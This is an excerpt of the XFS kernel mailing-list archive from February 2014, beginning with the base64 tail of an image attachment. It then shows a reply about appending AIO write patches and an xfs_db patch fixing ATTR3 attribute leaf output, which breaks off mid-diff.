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 34n0NXhfxt/bHl03V9R8H/Cnw9c/E/4hwwyI8GnvG2k6BOGdVXUroyKkDZinIhLCRzCUPll0Y1vD n7Jfi/4kfb5fjN8RtS8XWWp2ckA8NeHzN4f0iw+0YNxCz20qT3sYAEUZuDwhkLKWkJXN+In7SXwf /wCCfHwcsYPD2m6bbabc2dpq2nWOkxeWmvWrz2trLcwXRXyby5SF0lKmUyuiKzMEbzB6uVZRhPrU cPhovG120owgpKk2/wCaT5ZtLqlGC0b9pyq7xrV58jlN+zj3dub5LVfi/S4aZ8IvD37M99qfx6+N PiT+2vGkVnFbXmpi3lm0vwzHLMY1ttMt0RpUjzOsRkbdI/zudnnTBva/hH8Rv+FtfD3T/EH9g+JP DP8AaHmf8S3X7L7FqNtsleP97Fubbu2bl5OVZT3r478UReOLb9vXxH4H1vUvG3jey8bXiLJoP9pC DQ5fB19a3MFzN5KIwtJLG4iij80Sxy3JOFUNKWb339hmPxR4K+F958PPF9lqS6l8Nbw6HY6pNZGC 317S1GbG6hZV8n/U7Y2jWSR0MX70h3xXqcU5S/qEcZXrKpWapyVmlGNGUWlGELKyhOyl096KSUlU tjg637104xtHVebkurfmtvR+R7XXwL/wU7/aWtfiR4hh+HlhF/bfhXSbzy9Rg0+4uGuPFHiBVcWu hRxxbTNHFK9tLd7GygaNA8NyIUl9r/be/bT/AOFMeHte0XwtPjXdFs4rvxBrK2n2y38G207KkLvH kLLezsyrbWzMqksJZWSBWZvOP+Cd/wCxZ/bvh7wZ8RfGsGNJ0WzE/wAPPCsl39st/D9tO3ni/nfA WW9nZvOLBVVCykKhWKK27ODstoZNhv8AWbNlZR0pRvaUpOLaa7PWLjtaL9pdP2SqZ4+rKvP6pR67 volf+vnp3t7p+xP+zxL8CPhN9r16C2k+IfjKZtd8X6gsMaTXd/O7ytExjZk2wmVo1EZEZId1VTI2 fYqKK/N8yzGtj8VUxmId5zd32XZJdElpFbJJJaI9ajSjTgqcdkFFFFcJoFFFFABRRRQAUUUUAFFF FABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUU AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQB8q+PP2GrP4M+K4/EHgi3ubzwLea8 NY8S+CPLV4bMtC0H9p6OUia4tLu23tOEtmWWQIscTIUijPW/AP8Aaw/tzwHH4g1vVtN8QeC77yjp /iTTY/NuNLU20Mr2+uw2++KyuYw7NJOhW2AVy4tf3aSe+14p8b/2LNO+IvxQT4heFte1LwF8RIrM 2Tatp+5rfUEynlm9t0eP7T5WxSis4RikYlWaJBFX3OF4gw+ZQ+rZ9J3SsqlrtW/msua729paUrJK UZpR5POnhpUnz4ZfL/L/AC08mtb998JPgrofwVtfEEeiR3IfxRr174j1GSeYyNPd3Um9yOgVVUIi qoHyxrncxZmxf+EZ+KGl/tCf2lB4n8N6r8NdV/4+tHvdOaDUdD8u22p9knjOJ/OuDvk88DYoATqa +Xrn4reNv2SPEMVh4n0b/hVGm6fsub3XfDWhXniL4dXsEqzqiGy3xTaXIszRL/ozqZpnZ5UZHjav o/w5+1RAn28eJdG/s620a8k03U9b0XUIdd0OwukwzwzTQ7bm28uM7pZLu1giiKMGfBjaTXMsizLD TliouOIjWi1zNRk3e1uV+8ude60qcnOCajNR5nBqliaU0oO8XF7bff5eqs+l7XPkz9vWDw98TP2j Pjjqeu2upJoHw1+FlvodzcfapYIm1q7uhd6YuyCTfNGzypxIpiWSLLgBUY+s69+0N8RvBPh74M+E ND1v4b6d8QfGXhs61r0HxDvLqC4a9la0AgjjjcSRyS3NzcqkGwKBbtHGqLFsHFWvwT8cfGWx+M7e B/iL8AviHrfj3WNHub3VWjF4lvZQQy7LeWyxd20flyRxJAXWVnQTu7mQRlPYvix+zx46n/bm0L4t eGNP8Aa1YaZ4VPh+Sz129uLS7hlM9xIZreSO2mETbZVTfgko8yYG4MPtcbjcvjSw+X4mcJqjCTjG TaXOsPSSTjNLlU6sptN2uoR5oxtr59OnVblVgmuZ6tduZ9t7JL73qHxx+PvxS8B/tlfDPwNo+n+A B4R8fTTqtxePdzal5VnGk96x2bI4mMTlIlxKCybnZQ21a37O37Rvij9o34ofEjw7P4u8E6B/wiXi TWNBh0mw04v4gaztyIodQV5bp41xJKgJa0eMtGVx82F7/wCMfwVl8a/tAfCDxpax3Ms3gjUtTiuQ s0aQxWl5pk8byMrfMzCeO1Rdh4EjkqR8y8loHwX+K/gv9sbxj4o0a9+G8fw+8cXmn3Ooi8tJ5tcj S1sY4CkZjEa/OyEL5ksiRhi6puaRH+QoYjKquXKnGNOFVYe/M7a1FWkmrNTvKVLll0emlro7pRrK rdtuPNt5cq9NFI+Z59c8e/t2fsx/EPw1ez+P9aGi+Fba/vp9Q02Kxm0zxXY3EzXWipa2sUBulnjW NlVzKYCYWZfNKKvf/Cvxtp3/AAUI+F+v/CTxr4d8E6BFqXhu38T+A30JmvLfTdPYNbRMAuwR3Nhc DyJUDQ+YfMjEYjDF/ffC48Ifsf8A/CQxeJviJpun2XjTxJf+IdMh8Q6pDafY/P8AKkuLa3MjqGjW 4eSX5QNv2kBstl38us/iV4C/Yq+HKS/Dv4a23hjw1NM0Wo654pll8MQu0cVzcCJmu4pNUvZxyIkj tpVIlZUceW6L9M87WMhUpZXhXF88Z4aUfcjCdo87TfLHmvTjFRUWpe8l7z55cf1f2bUq076Wmnq2 tbd3bV63006aLv8AwX8Ln1f4KfCnxH8RJ9S8LeMPhbZx3t9qd9dWU1wjx2b218Li5bz0NtcJukdg 6uQI3LRuny8B+1X+3nZ+DvDVvc6frlz4J8NNqXlHxHNp63F94lhjgFwyaDbOjpcLITHEb65CWqec pQzb1ZeK1nxd40/bc0i7tvA6XPjWzmhcR+I/EehPpXgNWKlALXTpJWmvGV0YmS7S+WC6tU2RRpOZ Iva/2cv2FND+DXji78eeJdTufiB8VNTmnlu/FOoRGJkWQBBHb24do4FWJQg25YKzqrLGwjXzKuHy 7Lp/Ws9kp1YuXLQivhu3NJqafJFOTuqqbTbSpTu5LaMqtVcmGVlpeT69Om79P/AlseO/sxfsHav8 W/D3hXW/iraf2T4Y068uNctPAkwe4uNUvZW3Lqeu3Mjbru9dSQ8bIqgBF2xK0tvX2tRRXw3EHEeL zev7XEu0Vflivhim7u3VtveTblLTmbsejhcLChHlhv1fV/122QUUUV4J0hRRRQAUUUUAFFFFABRR RQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFF ABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUA FFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAV47ffsPeC9O8cWfif wjLrfw78Q2EJs4rrw5cpFAtoQ5a0FnOktmsDSOZiqwDMw8zO8sx9ioruwWZ4rBuX1ao4qStJLaS7 SW0lrs00Z1KMJ251e34enY+cNe/ZS8f+IdTkv/EWqfCb4gatBo88VhrGp+DpNM1ewvI7dFs1hu7a 4MkEZuTLcvLFiSN2YQhQ6GDyb+1f2gfAnhD7fa/Br4kaXq1jZ79QvdO+LUWtfawibpVhsdRGoKNz KGVY0acYCLIwZg/3RRX0+D43xFNcmKoU60dPdalCKSvpy0p04O99eaLWidu/HUy+L1hJxfyb+9pv 8T4pg8XftQ/2na2t14R+JFl9t85YpW8XeFZovMjt5Z1R2h0V/L8zyjGrybY/MkjVnXcDVbQ/AXx6 8UXUFjN8NfFumX95Ndz3fiDxH8arx7YM8c7xg2ukyQJGqzNCAsEAXy02YTd5yfb9FdL47UU/q+Ao U21vD2sXfXXSqr77S5ldJ2J/s2/xVZP15X/7b+R8h/C/9g34iaTpFlENe+F/wheCF9JvT8OfCu/U tW01lhBV9UvGNxHP+7bEiqSG2yM0jYC9/wDDX/gmv8L/AAT4h1HW9esdS+JviLVPln1bxvcLrVw0 YWJVTa6iL5REoVyhkALLv2naPfaK83Gcb5zX5rVuTm35Eotq97SklzyV/wCaT+5GtPL6Ebe7e3fX 8Nl8kFFFFfJnaFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUU AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABR RRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFF FABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQB/9k= ------=_NextPart_000_1519_01CF224F.3CE6C070-- From david@fromorbit.com Wed Feb 5 02:00:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 07A1E7F51 for ; Wed, 5 Feb 2014 02:00:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0B058F8052 for ; Wed, 5 Feb 2014 00:00:01 -0800 (PST) X-ASG-Debug-ID: 1391587199-04bdf0121d147fe0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id QmOsu5DytTxu9la9 for ; Tue, 04 Feb 2014 23:59:59 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmIJAB/v8VJ5LGaB/2dsb2JhbABZgwyDPrZMhVKBBxd0giUBAQU6HCMQCAMOCgklDwUlAyETiATOSBcWjl8HgySBFASYKpIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 18:29:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAxOe-0004Nu-2h; Wed, 05 Feb 2014 18:59:48 +1100 Date: Wed, 5 Feb 2014 18:59:48 +1100 From: Dave Chinner To: Christoph Hellwig Cc: linux-fsdevel@vger.kernel.org, Sergey Meirovich , xfs@oss.sgi.com Subject: Re: [PATCH 0/3] support appending AIO writes Message-ID: <20140205075948.GA13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes References: <20140204172402.380571745@bombadil.infradead.org> <20140204222901.GE13997@dastard> <20140205065728.GA30899@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140205065728.GA30899@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391587199 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 10:57:28PM -0800, Christoph Hellwig wrote: > On Wed, Feb 05, 2014 at 09:29:01AM +1100, Dave Chinner wrote: > > The patches look sane. Does the dio change conflict with the > > work Al is doing right now of the direct IO path, or will > > marshalling that part of the change through the XFS tree be fine? > > I've not seen any changes in that area in Al's trees. That being said > I don't think this little flag should cause any major problems as we'll > have to pass the flags argument in some form of direct I/O method for > all the other quirks we have. Fair enough. I'll run some tests tomorrow on it and go from there. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Wed Feb 5 02:02:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 934847F51 for ; Wed, 5 Feb 2014 02:02:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 677A08F8039 for ; Wed, 5 Feb 2014 00:02:50 -0800 (PST) X-ASG-Debug-ID: 1391587368-04cb6c6de113aa20001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id MS4QrtoXcOwvAe4N for ; Wed, 05 Feb 2014 00:02:48 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAB/v8VJ5LGaB/2dsb2JhbABZgwzAYxd0giUBLS87GGoDNIgEngOwXI4RgQGEIgSieodSg0EogSw Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 18:32:47 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WAxRW-0004Oj-1n for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:02:46 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WAxRW-0001KL-0R for xfs@oss.sgi.com; Wed, 05 Feb 2014 19:02:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs_db: fix attribute leaf output for ATTR3 format Date: Wed, 5 Feb 2014 19:02:45 +1100 X-ASG-Orig-Subj: [PATCH] xfs_db: fix attribute leaf output for ATTR3 format Message-Id: <1391587365-5066-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391587368 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner attr3_leaf_entries_count() checks against the wrong magic number. hence returns zero for an entry count when it should be returning a value. Fixing this makes xfs/021 pass on CRC enabled filesystems. Signed-off-by: Dave Chinner --- db/attr.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/attr.c b/db/attr.c index 740d564..caa154e 100644 --- a/db/attr.c +++ b/db/attr.c @@ -170,7 +170,7 @@ attr3_leaf_entries_count( struct xfs_attr3_leafblock *leaf 